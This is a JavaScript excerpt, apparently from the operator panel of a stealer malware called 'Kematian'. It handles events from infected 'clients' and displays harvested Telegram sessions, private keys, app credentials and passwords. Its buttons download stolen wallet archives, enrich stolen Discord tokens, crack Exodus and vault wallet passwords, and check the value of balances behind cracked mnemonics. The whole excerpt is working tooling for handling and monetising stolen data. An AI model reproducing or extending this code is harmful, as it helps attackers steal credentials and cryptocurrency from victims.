log(`Auto-downloaded wallet: ${payload?.name || "?"} (${humanSize(payload?.size || 0)})`);
if (activeTab === "wallets") loadWalletCards();
},
fetch_wallet_zip_result(payload) {
const { path, name, content } = payload || {};
const pending = pendingWalletZips.get(path);
pendingWalletZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "ZIP"; pending.btn.disabled = false; }
if (!content) { log(`fetch_wallet_zip: no content for ${name}`); return; }
downloadBase64(content, `${name || "wallet"}.zip`, "application/zip");
log(`Downloaded wallet ZIP: ${name}`);
},
fetch_wallet_zip_error(payload) {
const { path, error } = payload || {};
const pending = pendingWalletZips.get(path);
pendingWalletZips.delete(path);
if (pending?.btn) { pending.btn.textContent = "✕"; pending.btn.disabled = false; }
log(`fetch_wallet_zip ERROR: ${error || "unknown"}`);
},
telegram_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.telegram = payload?.sessions || [];
scanTgBtn.disabled = false;
if (activeTab !== "telegram") { activeTab = "telegram"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Telegram scan — ${lastResults.telegram.length} sessions`);
},
telegram_data(payload) {
log(`Telegram data: ${payload?.account || "?"} (${humanSize(payload?.size || 0)})`);
},
key_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.keys = payload?.keys || [];
scanKeysBtn.disabled = false;
if (activeTab !== "keys") { activeTab = "keys"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`Key scan — ${lastResults.keys.length} keys found`);
},
app_scan_results(payload) {
if (!lastResults) { lastResults = {}; dataCard.style.display = ""; }
lastResults.appCredentials = payload?.appCredentials || [];
scanAppsBtn.disabled = false;
if (activeTab !== "apps") { activeTab = "apps"; sortCol = null; sortAsc = true; }
buildTabs(); buildBfilts(); renderTable();
log(`App scan — ${lastResults.appCredentials.length} credentials found`);
},
error(payload) {
collectBtn.disabled = false;
scanFilesBtn.disabled = false;
scanWalletsBtn.disabled = false;
scanTgBtn.disabled = false;
scanKeysBtn.disabled = false;
scanAppsBtn.disabled = false;
log(`ERROR: ${payload?.error || "unknown"}`);
},
pong() { log("pong"); },
};
function handlePluginEvent(event, payload) {
const handler = eventDispatch[event];
if (handler) handler(payload);
else log(`event: ${event}`);
}
window.addEventListener("message", (e) => {
if (!e.data || e.data.type !== "plugin_event") return;
handlePluginEvent(e.data.event, e.data.payload);
});
let polling = false;
async function pollEvents() {
if (polling) return;
polling = true;
try {
const res = await fetch(
`/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/events`,
{ headers: { Accept: "application/json" } },
);
if (res.ok) {
const data = await res.json();
if (data.events) data.events.forEach(e => handlePluginEvent(e.event, e.payload));
}
} catch (_) {} finally { polling = false; }
}
log("Ready — Kematian");
window.__kematianPoll = setInterval(pollEvents, 1500);
setTimeout(pollEvents, 500);
}
// ── Discord lookup buttons ────────────────────────────────────
if (enrichAllBtn) {
enrichAllBtn.addEventListener("click", async () => {
enrichAllBtn.disabled = true;
enrichStatus.textContent = "Looking up…";
try {
const p = {};
if (!isGlobal && clientId) p.clientId = clientId;
else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
const r = await rpc("enrich_all_discord", p);
enrichStatus.textContent = `Done — ${r.enriched} token${r.enriched !== 1 ? "s" : ""} processed`;
await loadDiscordProfiles();
} catch (e) {
enrichStatus.textContent = `Error: ${e.message}`;
} finally {
enrichAllBtn.disabled = false;
}
});
}
if (dpGrid) {
dpGrid.addEventListener("click", async (e) => {
const btn = e.target.closest(".dp-lookup-btn");
if (!btn) return;
const token = btn.dataset.token;
const cid = btn.dataset.cid;
if (!token || !cid) return;
btn.disabled = true;
btn.textContent = "…";
try {
await rpc("enrich_discord_token", { token, clientId: cid });
await loadDiscordProfiles();
} catch (err) {
log(`Lookup error: ${err.message}`);
btn.disabled = false;
btn.textContent = "Retry";
}
});
}
// ── Wallet card buttons ────────────────────────────────────────
if (checkBalancesBtn) {
checkBalancesBtn.addEventListener("click", async () => {
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid) { log("Select a client first"); return; }
checkBalancesBtn.disabled = true;
balanceStatus.textContent = "Checking balances…";
try {
const result = await rpc("check_balances", { clientId: cid });
walletBalances = {};
for (const r of result.results || []) {
if (!walletBalances[r.wallet]) walletBalances[r.wallet] = {};
for (const [chain, bal] of Object.entries(r.balances || {}))
walletBalances[r.wallet][chain] = (walletBalances[r.wallet][chain] || 0) + bal;
}
const nonZero = Object.values(walletBalances).reduce((s, b) => s + Object.values(b).filter(v => v > 0).length, 0);
balanceStatus.textContent = `Done — ${nonZero} non-zero balance${nonZero !== 1 ? "s" : ""} found`;
await loadWalletCards();
} catch (e) {
balanceStatus.textContent = `Error: ${e.message}`;
log(`Balance check error: ${e.message}`);
} finally {
checkBalancesBtn.disabled = false;
}
});
}
if (wlGrid) {
wlGrid.addEventListener("click", async (e) => {
const crackBtn = e.target.closest(".wl-crack-btn");
if (crackBtn) {
const walletName = crackBtn.dataset.wallet;
const crackType = crackBtn.dataset.crackType || "vault";
const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;
if (!cid || !walletName) return;
crackBtn.disabled = true;
crackBtn.textContent = "Cracking…";
try {
const rpcMethod = crackType === "desktop" ? "crack_exodus" : "crack_vault";
const result = await rpc(rpcMethod, { clientId: cid, walletName });
walletCrackResults[walletName] = result;
if (result.cracked) log(`Wallet cracked for ${walletName}! Password: ${result.password}`);
else log(`Wallet crack failed for ${walletName}${result.tried} passwords tried`);
await loadWalletCards();
} catch (err) {
log(`Crack error: ${err.message}`);
crackBtn.disabled = false;
crackBtn.textContent = crackType === "desktop" ? "Crack Wallet" : "Crack Vault";
}
return;
}
const balBtn = e.target.closest(".wl-check-bal-btn");
if (balBtn) {
const walletName = balBtn.dataset.wallet;
const crackResult = walletCrackResults[walletName];
if (!crackResult?.mnemonic) return;
balBtn.disabled = true;
balBtn.textContent = "Checking…";
try {
const result = await rpc("check_cracked_balances", { mnemonic: crackResult.mnemonic });
walletCrackResults[walletName] = { ...crackResult, balances: result.totals, usdTotal: result.usdTotal };
if (result.usdTotal > 0) log(`${walletName}: $${result.usdTotal.toFixed(2)} total value`);
else log(`${walletName}: no balances found`);
await loadWalletCards();
} catch (err) {
log(`Balance check error: ${err.message}`);
balBtn.disabled = false;
balBtn.textContent = "Check Balances";
}
return;
}
const dlBtn = e.target.closest(".wl-dl-btn");
if (dlBtn) {
const id = dlBtn.dataset.id;
const name = dlBtn.dataset.name;
dlBtn.disabled = true;
dlBtn.textContent = "…";
try {
const result = await rpc("download_wallet_data", { id: Number(id) });
downloadBase64(result.content, `${result.name || name}.zip`, "application/zip");
log(`Downloaded wallet: ${name}`);
} catch (err) {
log(`Download error: ${err.message}`);
} finally {
dlBtn.disabled = false;
dlBtn.textContent = "Download ZIP";
}
}
});
}
// ── Shared listeners ──────────────────────────────────────────
searchEl.addEventListener("input", () => {
const q = searchEl.value.trim();
if (isGlobal) {
clearTimeout(searchTimer);
searchTimer = setTimeout(() => {
if (q) {
activeTab = "__search__";
buildTabs(); buildBfilts();
loadSearchAll();
} else {
searchAllResults = null;
if (activeTab === "__search__") activeTab = "passwords";
buildTabs(); buildBfilts();
loadGlobalTab();
}
}, 300);
} else {
if (q) {
activeTab = "__search__";
loadSearchAllLocal();
} else {
searchAllResults = null;
if (activeTab === "__search__") activeTab = "passwords";
buildTabs();
}
renderTable();
}
});
revealToggle.addEventListener("change", () => {
showSensitive = revealToggle.checked;
renderTable();
});
// ── Init ──────────────────────────────────────────────────────
if (isGlobal) initGlobalMode();
else initClientMode();
})();